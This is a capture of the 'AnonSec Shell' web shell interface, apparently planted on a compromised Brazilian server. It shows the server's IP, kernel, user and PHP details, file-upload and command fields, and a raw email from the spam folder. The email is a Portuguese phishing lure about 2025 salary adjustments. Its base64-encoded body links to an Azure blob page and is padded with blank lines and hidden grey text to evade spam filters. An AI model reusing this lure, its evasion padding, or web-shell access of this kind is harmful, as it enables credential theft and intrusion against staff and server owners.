AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.252
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/././mail/.spam/new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     

Current File : /home/lrsys/././mail/.spam/new/1731912380.M418348P28767.dedi-4363141.lrsys.com.br,S=11285,W=11465
Return-Path: <mkpvp@cliente1.belezaunicacosmeticos.com>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
	by dedi-4363141.lrsys.com.br with LMTP
	id FpqyF7ziOmdfcAAAIWsJAg
	(envelope-from <mkpvp@cliente1.belezaunicacosmeticos.com>)
	for <lrsys+spam@dedi-4363141.lrsys.com.br>; Mon, 18 Nov 2024 03:46:20 -0300
Return-path: <mkpvp@cliente1.belezaunicacosmeticos.com>
Envelope-to: financeiro@lrsys.com.br
Delivery-date: Mon, 18 Nov 2024 03:46:20 -0300
Received: from cliente1.belezaunicacosmeticos.com ([194.38.23.112]:34962)
	by dedi-4363141.lrsys.com.br with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.96.2)
	(envelope-from <mkpvp@cliente1.belezaunicacosmeticos.com>)
	id 1tCvWZ-0007TI-2k
	for financeiro@lrsys.com.br;
	Mon, 18 Nov 2024 03:46:20 -0300
Received: from localhost (localhost [IPv6:::1])
	by cliente1.belezaunicacosmeticos.com (Postfix) with UTF8SMTP id 1905984420
	for <financeiro@lrsys.com.br>; Mon, 18 Nov 2024 07:45:32 +0100 (CET)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 s=cliente1; d=cliente1.belezaunicacosmeticos.com; t=1731912332;
  h=from:subject:date:message-id:to:mime-version:content-type:
 accept-language:user-agent:x-mailer:x-sender:content-language:
 list-unsubscribe; bh=vs4amfhxumZnC7o0TzIf0//XkKBG/EBgB8sfaA4Kqvs=;
 b=YXJKTS3kKxSPpvvcckctJBIhKoa8C/ZbHsmmhLuQWNmAxLZ6o1OgTi46bqGTujeisnHNLv
 Nyz1DYw3Z/TeQHfRqsdi01kDEIFV5DhBu23Jk08jsUphqdQauoaa6Yr5qbKVXoK3PLSunT
 MjgNBsTk5sYc4CmycPS74rCcmQqcE9Kf/VDwTeNoKRbM2vBkByyfkTJU1ifKQZznTD5PJW
 ez7pxSWz/04OTvu9htz4Fh94H3OcPChkJ68Ehg9cQpfcm3173igT8ApYOgq5gJ8i/4RVqZ
 lqtxUl8vuoKzfAksSIgg0Ov5qmgWAW0gLJFTagP6UsTxt1ho/IXuEqthcb6a4Q==
Content-Language: pt-BR
MIME-Version: 1.0
To: <financeiro@lrsys.com.br>
List-Unsubscribe: 
 <https://cliente1.belezaunicacosmeticos.com/?action=unsubscribe&u=financeiro@lrsys.com.br>
X-Sender: mkpvp@cliente1.belezaunicacosmeticos.com
User-Agent: Roundcube Webmail/1.4.13
Content-Type: multipart/alternative;
 boundary=4897801a90ac2987ffa1fcb4bca3c0dbd36d743164410d37d256285b9d45
Date: Mon, 18 Nov 2024 07:45:32 +0100
From: =?utf-8?q?Cl=C3=A1udio_Barbosa?=
 <mkpvp@cliente1.belezaunicacosmeticos.com>
X-Mailer: Roundcube Webmail/1.4.13
Accept-Language: pt-BR, en-US
Message-Id: 
 <16275fc143f2cf43842fb7a73c77f908@cliente1.belezaunicacosmeticos.com>
X-Spam-Status: Yes, score=9.7
X-Spam-Score: 97
X-Spam-Bar: +++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Prezado(a), Segue abaixo o link para acessar a planilha com
    os reajustes salariais para o ano de 2025, que entrarão em vigor a partir
    do dia 25 de dezembro de 2024. Para visualizar a planilha, clique no link
    abaixo: Planilha_28899515 
 Content analysis details:   (9.7 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  1.0 BAYES_999              BODY: Bayes spam probability is 99.9 to 100%
                             [score: 1.0000]
  5.0 BAYES_99               BODY: Bayes spam probability is 99 to 100%
                             [score: 1.0000]
  0.6 HK_RANDOM_FROM         From username looks random
  0.0 HK_RANDOM_ENVFROM      Envelope sender username looks random
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
                             The query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [194.38.23.112 listed in sa-accredit.habeas.com]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [194.38.23.112 listed in bl.score.senderscore.com]
  1.3 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in
                             bl.spamcop.net
               [Blocked - see <https://www.spamcop.net/bl.shtml?194.38.23.112>]
  0.1 URIBL_SBL_A            Contains URL's A record listed in the Spamhaus SBL
                             blocklist
                             [URIs: cliente1.belezaunicacosmeticos.com]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
  0.1 URI_HEX                URI: URI hostname has long hexadecimal sequence
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
                             author's domain
 -0.1 DKIM_VALID             Message has at least one valid DKIM or DK signature
  0.8 CPANEL_LOTS_OF_EMPTY_LINE RAW: Spam that has large block of
                             empty lines
  0.8 FROM_FMBLA_NEWDOM14    From domain was registered in last 7-14 days
X-Spam-Flag: YES
Subject:  ***SPAM***  
 =?UTF-8?B?UGxhbmlsaGEgbnVtZXJvIDU2Mjg0IGNvbSBvcyByZWFqdXN0ZXMgc2FsYXJpYWlz?=

--4897801a90ac2987ffa1fcb4bca3c0dbd36d743164410d37d256285b9d45
Content-Transfer-Encoding: base64
Content-Type: text/html; charset=UTF-8

CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgo8aHRtbCBsYW5nPSJwdC1iciI+DQoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgogIDxib2R5Pg0KCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKICAgIDxw
Pg0KICAgICAgUHJlemFkbyhhKSwNCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgogICAgPC9wPg0KCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgogICAgPHA+DQoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgogICAgICBTZWd1ZSBhYmFpeG8gbyBsaW5rIHBhcmEgYWNlc3NhciBhIHBs
YW5pbGhhIGNvbSBvcyByZWFqdXN0ZXMgc2FsYXJpYWlzIHBhcmEgbyBhbm8gZGUgMjAyNSwgcXVl
IGVudHJhcsOjbyBlbSB2aWdvciBhIHBhcnRpciBkbyBkaWEgPHN0cm9uZz4yNSBkZSBkZXplbWJy
byBkZSAyMDI0PC9zdHJvbmc+Lg0KCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgogICAgPC9wPg0KCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKICAgIDxwPg0K
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgogICAgICBQYXJhIHZpc3VhbGl6YXIgYSBwbGFuaWxoYSwgY2xpcXVlIG5vIGxpbmsgYWJh
aXhvOjxiciAvPg0KCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CiAgICAgIDxhIGhyZWY9Imh0dHBzOi8vMDQxMTIwMjQuYmxvYi5jb3JlLndpbmRvd3MubmV0L2hv
bWUvaW5kZXguaHRtbD9pZD0xMDUwIiB0YXJnZXQ9Il9ibGFuayIgcmVsPSJub29wZW5lciI+UGxh
bmlsaGFfMjg4OTk1MTU8L2E+DQoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgogICAgPC9wPg0KCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgogICAgPHA+DQogICAgICBDYXNvIHRlbmhhIGTDunZpZGFzIG91IG5l
Y2Vzc2l0ZSBkZSBlc2NsYXJlY2ltZW50b3MsIHBvciBmYXZvciwgZW50cmUgZW0gY29udGF0byBj
b20gbyBzZXRvciByZXNwb25zw6F2ZWwuDQoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgogICAgPC9wPg0KCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKICAgIDxociAvPg0KCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCiAgICA8
cCBzdHlsZT0iZm9udC1zaXplOiBzbWFsbDsgY29sb3I6ICM1NTU7Ij4NCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKICAgICAgRXN0ZSBl
LW1haWwgZm9pIGVudmlhZG8gYXV0b21hdGljYW1lbnRlIHBlbG8gc2lzdGVtYSBkYSBlbXByZXNh
LjxiciAvPg0KICAgICAgRmF2b3IsIG7Do28gcmVzcG9uZGVyIGVzdGEgbWVuc2FnZW0uDQoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCiAgICA8L3A+DQoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgogIDwvYm9keT4NCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKPGJyPjxicj48
YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGZvbnQgY29sb3I9IiNFNkU2RTYiPm5fOTllNjNj
M2YtNDEwNy00MDZhLWFiMWEtZDcyYjIyYzFhYjNlPC9mb250PjwvaHRtbD4NCgo=
--4897801a90ac2987ffa1fcb4bca3c0dbd36d743164410d37d256285b9d45
Content-Transfer-Encoding: base64
Content-Type: text/plain; charset=UTF-8

UHJlemFkbyhhKSwgDQoNCiBTZWd1ZSBhYmFpeG8gbyBsaW5rIHBhcmEgYWNlc3NhciBhIHBsYW5p
bGhhIGNvbSBvcyByZWFqdXN0ZXMgc2FsYXJpYWlzIHBhcmEgbyBhbm8gZGUgMjAyNSwgcXVlIGVu
dHJhcsOjbyBlbSB2aWdvciBhIHBhcnRpciBkbyBkaWEgMjUgZGUgZGV6ZW1icm8gZGUgMjAyNC4g
DQoNCiBQYXJhIHZpc3VhbGl6YXIgYSBwbGFuaWxoYSwgY2xpcXVlIG5vIGxpbmsgYWJhaXhvOiBo
dHRwczovLzA0MTEyMDI0LmJsb2IuY29yZS53aW5kb3dzLm5ldC9ob21lL2luZGV4Lmh0bWw/aWQ9
MTA1MCANCg0KIENhc28gdGVuaGEgZMO6dmlkYXMgb3UgbmVjZXNzaXRlIGRlIGVzY2xhcmVjaW1l
bnRvcywgcG9yIGZhdm9yLCBlbnRyZSBlbSBjb250YXRvIGNvbSBvIHNldG9yIHJlc3BvbnPDoXZl
bC4gDQoNCiBFc3RlIGUtbWFpbCBmb2kgZW52aWFkbyBhdXRvbWF0aWNhbWVudGUgcGVsbyBzaXN0
ZW1hIGRhIGVtcHJlc2EuIEZhdm9yLCBuw6NvIHJlc3BvbmRlciBlc3RhIG1lbnNhZ2VtLiANCg0K
IA0KDQoNCg0KDQoNCg0KDQoNCm5fOTllNjNjM2YtNDEwNy00MDZhLWFiMWEtZDcyYjIyYzFhYjNl
IA==
--4897801a90ac2987ffa1fcb4bca3c0dbd36d743164410d37d256285b9d45--

Anon7 - 2022
AnonSec Team